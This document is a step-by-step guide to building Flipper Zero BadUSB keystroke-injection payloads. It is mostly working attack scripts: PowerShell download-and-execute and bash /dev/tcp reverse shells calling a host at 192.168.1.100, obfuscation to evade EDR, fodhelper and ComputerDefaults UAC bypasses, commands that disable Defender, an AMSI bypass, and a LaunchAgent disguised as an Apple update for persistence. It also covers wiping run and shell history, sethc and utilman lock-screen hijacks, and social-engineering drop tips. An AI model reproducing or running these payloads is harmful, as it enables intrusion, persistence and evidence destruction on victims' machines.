How to Build Advanced BadUSB Payloads on the Flipper Zero: UAC Bypass, EDR Evasion, and Anti-Forensics

Introduction

The Flipper Zero's BadUSB turns it into a programmable USB keyboard that types pre-scripted keystrokes at machine speed. What makes it dangerous is that computers inherently trust USB keyboards. There is no prompt, no antivirus check, no user confirmation. The Flipper simply appears as a HID device and starts typing. Basic BadUSB scripts open a terminal and download a file. Advanced payloads use COM objects, registry hijacking, PowerShell obfuscation, and UAC bypass to achieve their goals without triggering security tools. This guide covers the full spectrum from simple scripts to professional-grade payloads with anti-forensics and evasion techniques.

How BadUSB Works on the Flipper Zero

BadUSB scripts use a variant of the Ducky Script language originally developed for Hak5's USB Rubber Ducky. The Flipper parses the script and translates each command into USB HID keyboard scan codes.

Execution flow:

1. Plug the Flipper into a USB port
2. The Flipper enumerates as a standard USB HID keyboard
3. The operating system installs the driver automatically (built into Windows, macOS, Linux)
4. The Flipper begins executing the script, sending keystrokes at up to thousands of characters per second

Speed consideration: The default DELAY between commands is crucial. Too fast and the OS drops keystrokes. Too slow and the user has time to react. A DELAY of 50-100 ms between lines is typical. GUI r DELAY 500 allows time for the run dialog to open.

Step 1: Ducky Script Language Reference

Basic commands:

• REM - Comment (ignored during execution)
• DELAY ms - Wait specified milliseconds
• STRING text - Type the text literally
• ENTER / RETURN - Press Enter key
• SPACE - Press Space key
• TAB - Press Tab key
• ESCAPE - Press Escape key
• BACKSPACE - Press Backspace key
• DELETE - Press Delete key
• UP/DOWN/LEFT/RIGHT - Arrow keys
• HOME/END/PAGEUP/PAGEDOWN - Navigation keys
• F1-F12 - Function keys
• GUI / WINDOWS / COMMAND - Windows key (Win) or Command key (Mac)
• SHIFT - Shift modifier
• ALT - Alt modifier
• CTRL / CONTROL - Control modifier

Common modifier combinations:

• GUI r - Open Run dialog (Windows)
• GUI SPACE - Open Spotlight (macOS)
• CTRL SHIFT ESCAPE - Open Task Manager
• GUI d - Show desktop
• GUI l - Lock workstation
• CTRL c / CTRL v - Copy, paste

System commands:

• HOLD key - Hold a key down until RELEASE is called
• RELEASE key - Release a held key
• REPEAT n - Repeat the previous command n times

Step 2: Basic Windows Payload

This is the classic entry-level BadUSB payload. It opens PowerShell and downloads a reverse shell.

REM Windows reverse shell via PowerShell download DELAY 1000 GUI r DELAY 500 STRING powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')" DELAY 200 ENTER

How it works:

1. DELAY 1000 - Wait for the OS to finish enumerating the USB device
2. GUI r - Open the Run dialog
3. DELAY 500 - Wait for Run dialog to appear
4. STRING - Type the PowerShell one-liner
5. ENTER - Execute

Problems with this payload:

• WebClient.DownloadString is heavily monitored by EDR
• PowerShell window title flashes briefly even with -w hidden
• Requires network access
• The command is visible in Run dialog history

Step 3: PowerShell Obfuscation Techniques

Modern EDR tools flag common PowerShell download strings. Obfuscation evades signature-based detection.

Method 1: Base64 encoding

REM Obfuscated PowerShell via Base64 DELAY 1000 GUI r DELAY 500 STRING powershell -e [BASE64_ENCODED_COMMAND] DELAY 200 ENTER

Base64 encodes the command so EDR looking for "DownloadString" will not see it in the command line. Encode your command with: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('YOUR_COMMAND'))

Method 2: Variable concatenation

STRING powershell -c "$a='IEX (New-Object Net.WebClient).DownloadStr';$b='ing';$c='(http://192.168.1.100/shell.ps1)';iex ($a+$b+$c)"

Method 3: COM object alternatives to Net.WebClient

STRING powershell -c "$r=New-Object -ComObject Msxml2.XMLHTTP;$r.open('GET','http://192.168.1.100/shell.ps1',$false);$r.send();IEX $r.responseText"

Using COM objects instead of .NET classes avoids .NET assembly logging.

Step 4: UAC Bypass Techniques

User Account Control blocks administrative actions. These techniques bypass the UAC prompt.

Method 1: Fodhelper.exe registry hijack (Windows 10/11)

Fodhelper.exe is a trusted Windows binary that auto-elevates. By hijacking its registry key, we can make it execute arbitrary commands with elevated privileges.

REM UAC bypass via fodhelper.exe registry hijack DELAY 1000 GUI r DELAY 500 STRING cmd DELAY 200 CTRL SHIFT ENTER DELAY 2000 ALT y DELAY 1000 STRING reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f ENTER DELAY 500 STRING reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')" /f ENTER DELAY 500 STRING C:\Windows\System32\fodhelper.exe ENTER DELAY 2000 STRING reg delete HKCU\Software\Classes\ms-settings /f ENTER

How it works:

1. Opens CMD as administrator (CTRL SHIFT ENTER)
2. Creates a registry key that fodhelper.exe will execute
3. Launches fodhelper.exe (auto-elevates)
4. The payload runs with admin privileges
5. Cleans up the registry entry

Method 2: ComputerDefaults.exe hijack

STRING reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "powershell.exe" /f ENTER STRING reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f ENTER STRING C:\Windows\System32\ComputerDefaults.exe ENTER

Step 5: Windows Defender Evasion

Disable real-time monitoring (admin required):

STRING powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true" ENTER

Add exclusion path:

STRING powershell -c "Add-MpPreference -ExclusionPath 'C:\Temp'" ENTER

Obfuscated AMSI bypass (in-memory):

STRING powershell -c "$a=[Ref].Assembly.GetTypes()|Where-Object{$_.Name -like '*iUtils'};$b=$a.GetFields('NonPublic,Static')|Where-Object{$_.Name -like '*Context'};$b.SetValue($null,[IntPtr]::Zero)" ENTER

AMSI (Anti-Malware Scan Interface) scans scripts in memory. This bypass sets the AMSI context to null, disabling in-memory scanning for the current session.

Step 6: macOS Payloads

Terminal reverse shell:

REM macOS reverse shell via Terminal DELAY 1000 GUI SPACE DELAY 500 STRING terminal DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 DELAY 200 ENTER

Hidden Terminal:

STRING nohup bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' & DELAY 200 ENTER STRING disown ENTER

macOS persistence (LaunchAgent):

STRING mkdir -p ~/Library/LaunchAgents && cat > ~/Library/LaunchAgents/com.apple.update.plist [plist content with RunAtLoad and StartInterval for reverse shell persistence] ENTER STRING launchctl load ~/Library/LaunchAgents/com.apple.update.plist ENTER

Step 7: Linux Payloads

X11 reverse shell:

REM Linux reverse shell DELAY 1000 ALT F2 DELAY 500 STRING xterm DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 DELAY 200 ENTER

Wayland note: Wayland blocks synthetic keystrokes to some degree. BadUSB works on the input layer below Wayland, so it generally still functions, but some compositors may have restrictions.

Step 8: Anti-Forensics Techniques

Clear Run dialog history:

STRING reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f ENTER

Clear PowerShell history:

STRING Remove-Item (Get-PSReadlineOption).HistorySavePath -Force ENTER

Clear recent files:

STRING cmd /c "del /q %appdata%\Microsoft\Windows\Recent\*.* && reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs /f" ENTER

Step 9: Physical Security Bypass Techniques

Sticky Keys hijack (SYSTEM-level cmd at lock screen):

REM Replace sethc.exe with cmd.exe DELAY 1000 GUI r DELAY 500 STRING cmd DELAY 200 CTRL SHIFT ENTER DELAY 2000 ALT y DELAY 1000 STRING takeown /f C:\Windows\System32\sethc.exe && icacls C:\Windows\System32\sethc.exe /grant administrators:f && copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe ENTER

After this, pressing Shift 5 times at the lock screen opens a SYSTEM-level command prompt.

Utilman.exe hijack (Accessibility button):

STRING copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /y ENTER

Clicking the accessibility icon at the lock screen now opens cmd.exe as SYSTEM.

Step 10: Payload Organization on the Flipper

Store BadUSB scripts on the SD card:

/badusb/ windows/ reverse_shell.txt uac_bypass.txt defender_disable.txt macos/ terminal_shell.txt persistence.txt linux/ xterm_shell.txt

Tips for Effective BadUSB Deployment

• Always use DELAY 1000 at the start: Windows takes time to enumerate the HID device. Without this, the first GUI r command is lost.
• Test on your own machines first: Keyboard layouts vary. A script that works on US QWERTY may fail on AZERTY or QWERTZ.
• Use -w hidden for PowerShell: This minimizes the window flash. It is not truly invisible but close enough at execution speed.
• Combine with social engineering: A BadUSB disguised as a phone charger cable left in a parking lot is a classic attack vector.
• Use the Flipper's Bluetooth HID: Apps like Bluetooth Remote let you execute BadUSB scripts wirelessly over Bluetooth, without physically plugging in.
• URL shorteners work: If your payload URL is long, use a shortener to reduce typing time and script length.

Conclusion

BadUSB on the Flipper Zero is one of the most practical penetration testing tools in its arsenal. From simple reverse shells to UAC bypasses, AMSI evasion, and system-level persistence, the attack surface is enormous because computers unconditionally trust keyboards. The key to effective BadUSB payloads is speed - executing faster than a human can react - combined with obfuscation to evade EDR signature detection. Build a library of tested payloads, organize them by target OS, and always practice on your own systems before any engagement.